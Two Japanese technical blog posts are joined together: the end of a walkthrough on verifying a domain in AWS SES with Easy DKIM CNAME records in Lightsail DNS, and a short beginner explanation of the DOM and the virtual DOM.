![2024-02-21 at 10.53.16@2x.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/386149/94a82705-5de8-5c38-d1e4-cb1ddc6eca2c.png)


DKIMの詳細設定で以下の通り設定し、画面最下部の「IDの作成」ボタンをクリックします。

- IDタイプ　：　Easy DKIM
- DKIM署名キーの長さ　：　「RSA_2048_BIT」
- DNSレコードのRoute 53への発行　：　チェックを外す

![2024-02-21 at 10.53.25@2x.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/386149/3b31d79c-d16d-97cc-e415-c3782f3dcd41.png)


すると、IDが作成され、作成されたIDの「DKIMの設定」が「保留中」ステータスとなります。

DNSへの設定内容は「DNSレコードの発行」の箇所に表示されています。ここでは3つのCNAMEレコードが表示されていますので、それをDNSに設定します。

![2024-02-21 at 10.53.35@2x.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/386149/1b7a47e9-3f23-ca93-21bb-f1eebd771934.png)


Lightsailの管理画面のメニューの「Domain & DNS」を選択し、対象のDNS Zoneを選択します。

![2024-02-21 at 11.15.40@2x.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/386149/ac582ae3-1ea3-55b6-790b-b35d33df26fd.png)


「DNS Records」タブを選択し、「Add record」をクリックします。

![2024-02-21 at 10.53.56@2x.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/386149/13e48ccd-62f7-ac44-0709-eed00c63e80d.png)


「CNAME record」を選択し、先ほどのSESのIDの画面で表示されていたCNAMEレコードの内容をコピペし、「Save」をクリックします。3つのCNAMEレコードを設定するため、「Add record」〜「Save」を3回実施します。

![2024-02-21 at 10.54.07@2x.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/386149/4ceb080f-9ba1-6c6f-8fba-4fe5a59ce7b1.png)


3つのCNAMEレコードを登録してしばらくすると、SESの対象IDの画面で、「IDステータス」が「検証済み」となります（ドキュメントでは検証には最大72時間かかると記載されていますが、実際には数分で完了します。もししばらく待っても「検証済み」にならない場合、設定が何らか誤っている可能性が高いと思います）。

![2024-02-21 at 10.54.16@2x.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/386149/d3b5c9f0-45e3-68da-439b-0756afb0b67d.png)


以上でSESのドメイン検証が完了です。
DOMとは


# DOMとは
DOM(Documents Object Model)とはHTMLを解釈して階層構造で表現したものです。
また、DOMの仕組みによりjavascriptなどのプログラム言語でHTMLやXMLを自由に操作することができます。
具体的には要素を追加・変更・削除などができます。
例えば、ボタンをクリックしたらテキストの色が変わる、という動作はDOMという仕組みによって実現されています。


# DOMの階層構造

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3655001/c0e5c010-752e-5f50-5bb3-22c0dab33f9b.png)
|:--|
引用：https://shiroyuki2020.hatenablog.com/entry/introduction_to_html_02

前述の通りDOMは階層構造になっており、この画像のような各要素をノードと呼びます。
bodyタグを基準とすると、
htmlタグを親ノード、h1タグを子ノード、テキストタグを子孫ノードと呼びます。
またheadタグは兄弟ノードと呼びます。

# DOMと仮想DOM
DOMと聞くと仮想DOMも合わせて耳にすることがあると思いますが、仮想DOMは
javascriptのオブジェクトで仮想的に作られたDOMのことを言います。
昔はDOMを直接操作する手法が取られていたようですが、毎回全体をレンダリングすると動作が重くなってしまうので、この解決策として仮想DOMが誕生しました。
仮想DOMでは変更差分だけをレンダリングするためレンダリングコストを抑えることができます。

# まとめ
javascriptを触り始めたときによく耳にする用語だと思うので必ず覚えておきましょう！